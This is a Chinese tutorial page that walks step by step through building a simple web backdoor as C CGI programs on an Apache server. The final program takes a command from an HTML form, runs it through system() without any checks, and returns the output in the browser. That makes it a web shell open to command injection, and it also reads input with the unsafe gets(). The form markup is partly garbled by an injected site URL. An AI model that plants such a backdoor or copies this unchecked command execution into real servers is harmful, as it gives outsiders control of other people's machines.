首页 > 代码库 > 一步一步教你使用CGI实现一个简单的后门

一步一步教你使用CGI实现一个简单的后门

程序实例1:使用CGI实现文件定向操作

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main()
{
    //设置HTML语言
    printf("Content-type:text/html\n\n");

    //文件定向操作
    char* str = "ipconfig > 1.txt";

    system(str);
}

将上面的代码编译成的exe文件拷贝到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin中,并且将exe从命名为system.cgi

在Apache服务器中执行system.cgi

执行方式请参考:开发基于Apache服务器上的CGI程序

执行成功后会看到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin文件中生成了一个1.txt文件

打开1.txt后可以看到1.txt中记录的是本机的ip信息

这就是文件定位操作,将ip信息保存到一个文本中


程序实例2:使用浏览器读取1.txt中的ip信息

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main()
{
    //设置HTML语言
    printf("Content-type:text/html\n\n");

    //文件定向操作
    char* str = "ipconfig > 1.txt";
    system(str);

    //以读的方式打开1.txt
    FILE* fp = fopen("1.txt", "r");

    //循环成立的条件是没有读到文件结尾
    while(!feof(fp))
    {
        //每次从文件中读取1个字符
        char ch = fgetc(fp);

        if('\n' == ch)
        {
            printf("<br><br>");
        }
        else
        {
            //打印字符
            putchar(ch);
        }
    }
}

将上面的代码编译成的exe文件拷贝到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin中,并且将exe从命名为output.cgi

在浏览器上输入:http://localhost/cgi-bin/output.cgi

在浏览器上打印了ip信息


程序实例3:使用CGI实现一个简单的后门

使用记事本编辑下面的HTML代码

<form id="form" name="form" method="post" action="http://localhost/cgi-bin/input.cgi">
<p>
<input type="text" name="BBB" id="input" value=http://www.mamicode.com/"tasklist">>

保存后将文件名修改成houmen.html,最后保存在C:\Program Files\Apache Software Foundation\Apache2.2\htdocs中


使用VS2012编译下面的代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main()
{
    //设置HTML语言
    printf("Content-type:text/html\n\n");

    //打印环境变量
    printf("%s<br><br>", getenv("QUERY_STRING"));

    char szPost[256] = {0};

    //获取输入
    gets(szPost);

    //打印输入的内容
    printf("%s<br><br>", szPost);
    //BBB=tasklist&AAA=%C7%EB%BD%F8

    char *p = szPost + 4; 
    char*p1 = strchr(szPost, '&');
    *p1 = '\0';

    char cmd[256] = {0};

    //字符串映射
    sprintf(cmd, "%s > 1.txt", p);

    system(cmd);

    //以读的方式打开1.txt
    FILE* fp = fopen("1.txt", "r");

    //循环成立的条件是没有读到文件结尾
    while(!feof(fp))
    {
        //每次从文件中读取1个字符
        char ch = fgetc(fp);

        //当读取到\n时
        if('\n' == ch)
        {
            //打印换行
            printf("<br><br>");
        }
        else
        {
            //打印字符
            putchar(ch);
        }
    }
}

编译成功后,将生成的exe文件重命名为input.cgi,并且拷贝到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin中

在浏览器中输入:http://localhost/houmen.html

执行结果:


单击请进后会打印出所有的进程


在输入框中输入ipconfig后单击请进会打印出所有的ip信息



一步一步教你使用CGI实现一个简单的后门